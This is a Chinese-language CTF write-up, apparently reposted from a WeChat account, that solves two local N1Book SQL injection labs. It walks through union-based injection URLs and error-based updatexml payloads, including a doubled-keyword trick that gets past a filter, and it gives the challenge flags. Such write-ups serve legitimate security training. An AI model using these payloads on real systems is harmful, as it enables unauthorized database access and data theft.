【CTFer成长之路】CTF中的SQL注入

admin 2025年4月23日00:42:14评论8 views字数 2489阅读8分17秒阅读模式

SQL注入-1

题目描述:

暂无

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{union_select_is_so_cool}

Writeup

访问url:http://192.168.10.22/index.php?id=2-1

【CTFer成长之路】CTF中的SQL注入

访问url:http://192.168.10.22/index.php?id=2

【CTFer成长之路】CTF中的SQL注入

两者结果相同,说明不存在数字型在注入

访问url:http://192.168.10.22/index.php?id=2'

【CTFer成长之路】CTF中的SQL注入

访问url:http://192.168.10.22/index.php?id=2'%23

【CTFer成长之路】CTF中的SQL注入

页面重新有显示内容,说明存在字符型注入

判断字段数,有三个字段

http://192.168.10.22/index.php?id=2' order by 3%23有回显

http://192.168.10.22/index.php?id=2' order by 4%23无回显

【CTFer成长之路】CTF中的SQL注入

尝试union注入,查看回显点为2,3

访问url:http://192.168.10.22/index.php?id=-2' union select 1,2,3%23

【CTFer成长之路】CTF中的SQL注入

尝试获取表名

http://192.168.10.22/index.php?id=-2' union select 1,2400,group_concat(table_name) from information_schema.tables where table_schema=database()%23
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),2400 from information_schema.tables where table_schema=database()%23

2,3这两处回显点,一处写payload,一处可以是任意数字

【CTFer成长之路】CTF中的SQL注入

获取字段名

http://192.168.10.22/index.php?id=-2' union select 1,group_concat(column_name),2400 from information_schema.columns where table_schema=database() and table_name='fl4g'%23

为fllllag

【CTFer成长之路】CTF中的SQL注入

获取flag:

http://192.168.10.22/index.php?id=-2' union select 1,fllllag,2400 from fl4g%23

n1book{union_select_is_so_cool}

【CTFer成长之路】CTF中的SQL注入

SQL注入-2

题目描述:

请访问 http://127.0.0.1/login.phphttp://127.0.0.1/user.php

docker-compose.yml

version: '3.2'

services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
    ports:
      - 80:80

启动方式

docker-compose up -d

题目Flag

n1book{login_sqli_is_nice}

Writeup

查看源代码,页面注释中有提示,在url中加入?tips=1,出现报错信息

【CTFer成长之路】CTF中的SQL注入

访问:http://192.168.10.22/login.php?tips=1 账号输入1’密码输入1抓包

【CTFer成长之路】CTF中的SQL注入

使用报错注入时可以发现,回显正常报错

name=1'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1

【CTFer成长之路】CTF中的SQL注入

name=1'and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=1

回显,说明我们的sql语句被进行了某种替换,导致语法错误。

【CTFer成长之路】CTF中的SQL注入

尝试

name=1'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1

发现回显正常

【CTFer成长之路】CTF中的SQL注入

使用报错注入获取表名

name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1

为fl4g,users

【CTFer成长之路】CTF中的SQL注入

获得列名

name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=1

为flag

【CTFer成长之路】CTF中的SQL注入

获得flag

name=1'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1

为n1book{login_sqli_is_nice}

【CTFer成长之路】CTF中的SQL注入

攻防交流群

【CTFer成长之路】CTF中的SQL注入

声明

免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(儒道易行):【CTFer成长之路】CTF中的SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日00:42:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTFer成长之路】CTF中的SQL注入https://cn-sec.com/archives/3984052.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息